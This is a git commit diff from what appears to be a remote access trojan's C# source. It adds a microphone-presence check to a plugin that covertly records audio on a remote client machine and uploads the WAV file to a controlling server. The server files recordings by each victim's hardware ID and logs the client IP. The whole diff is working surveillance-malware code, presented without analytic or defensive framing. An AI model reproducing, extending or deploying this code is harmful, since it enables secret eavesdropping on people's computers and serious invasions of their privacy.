add microphone check

This commit is contained in:
qwqdanchun 2021-04-11 11:58:09 +08:00
parent 29d88b1ac9
commit 0c279b7dce
5 changed files with 66 additions and 30 deletions

View File

@ -27,15 +27,7 @@ namespace Plugin
{
case "audio":
{
var AR = new AudioRecorder();
AR.StartAR();
Thread.Sleep(100);
DateTime dt1 = DateTime.Now;
while ((DateTime.Now - dt1).TotalMilliseconds < Convert.ToInt32(unpack_msgpack.ForcePathObject("Second").AsString) * 1000)
{
continue;
};
AR.SaveAR();
AudioRecorder.Audio(Convert.ToInt32(unpack_msgpack.ForcePathObject("Second").AsString));
break;
}
}

View File

@ -13,6 +13,43 @@ namespace Plugin
[DllImport("winmm.dll", EntryPoint = "mciSendStringA", CharSet = CharSet.Ansi, SetLastError = true, ExactSpelling = true)]
private static extern int Record(string lpstrCommand, string lpstrReturnString, int uReturnLength, int hwndCallback);
[DllImport("winmm.dll")]
public static extern int waveInGetNumDevs();
public static void Audio(int second)
{
try
{
if (waveInGetNumDevs() == 0)
{
Packet.Error("Don't have microphone.");
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Pac_ket").AsString = "Audio";
msgpack.ForcePathObject("Hwid").AsString = Connection.Hwid;
msgpack.ForcePathObject("Close").AsString = "true";
Connection.Send(msgpack.Encode2Bytes());
}
else
{
var AR = new AudioRecorder();
AR.StartAR();
Thread.Sleep(100);
DateTime dt1 = DateTime.Now;
while ((DateTime.Now - dt1).TotalMilliseconds < second * 1000)
{
continue;
};
AR.SaveAR();
}
}
catch(Exception ex)
{
Packet.Error(ex.Message);
}
}
public void StartAR()
{
@ -27,6 +64,7 @@ namespace Plugin
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Pac_ket").AsString = "Audio";
msgpack.ForcePathObject("Hwid").AsString = Connection.Hwid;
msgpack.ForcePathObject("Close").AsString = "false";
msgpack.ForcePathObject("WavFile").SetAsBytes(File.ReadAllBytes(AudioPath));
Connection.Send(msgpack.Encode2Bytes());
}

View File

@ -33,7 +33,7 @@ namespace Server.Forms
//Start or stop audio recording
private void btnStartStopRecord_Click(object sender, EventArgs e)
{
if (textBox1.Text != null&& textBox1.Text != "")
if (textBox1.Text != null)
{
MsgPack packet = new MsgPack();
packet.ForcePathObject("Pac_ket").AsString = "audio";
@ -47,14 +47,6 @@ namespace Server.Forms
Thread.Sleep(100);
btnStartStopRecord.Text = "Wait...";
btnStartStopRecord.Enabled = false;
DateTime dt1 = DateTime.Now;
int timetosleep = Convert.ToInt32(textBox1.Text) * 1000;
while ((DateTime.Now - dt1).TotalMilliseconds < timetosleep)
{
continue;
};
btnStartStopRecord.Text = "Start Recording";
btnStartStopRecord.Enabled = true;
}
else
{

View File

@ -85,7 +85,7 @@
#endregion
private System.Windows.Forms.Button btnStartStopRecord;
public System.Windows.Forms.Button btnStartStopRecord;
private System.Windows.Forms.Timer timer1;
private System.Windows.Forms.TextBox textBox1;
private System.Windows.Forms.Label label1;

View File

@ -20,6 +20,19 @@ namespace Server.Handle_Packet
{
try
{
FormAudio audiorecord = (FormAudio)Application.OpenForms["Audio Recorder:" + unpack_msgpack.ForcePathObject("Hwid").GetAsString()];
if (unpack_msgpack.ForcePathObject("Close").GetAsString() == "true")
{
audiorecord.btnStartStopRecord.Text = "Start Recording";
audiorecord.btnStartStopRecord.Enabled = true;
client.Disconnected();
return;
}
else
{
audiorecord.btnStartStopRecord.Text = "Start Recording";
audiorecord.btnStartStopRecord.Enabled = true;
string fullPath = Path.Combine(Application.StartupPath, "ClientsFolder", unpack_msgpack.ForcePathObject("Hwid").AsString, "SaveAudio");
if (!Directory.Exists(fullPath))
Directory.CreateDirectory(fullPath);
@ -31,6 +44,7 @@ namespace Server.Handle_Packet
new HandleLogs().Addmsg($"Client {client.Ip} recording successfile located @ ClientsFolder/{unpack_msgpack.ForcePathObject("Hwid").AsString}/SaveAudio", Color.Purple);
client.Disconnected();
}
}
catch (Exception ex)
{
new HandleLogs().Addmsg($"Save recorded file fail {ex.Message}", Color.Red);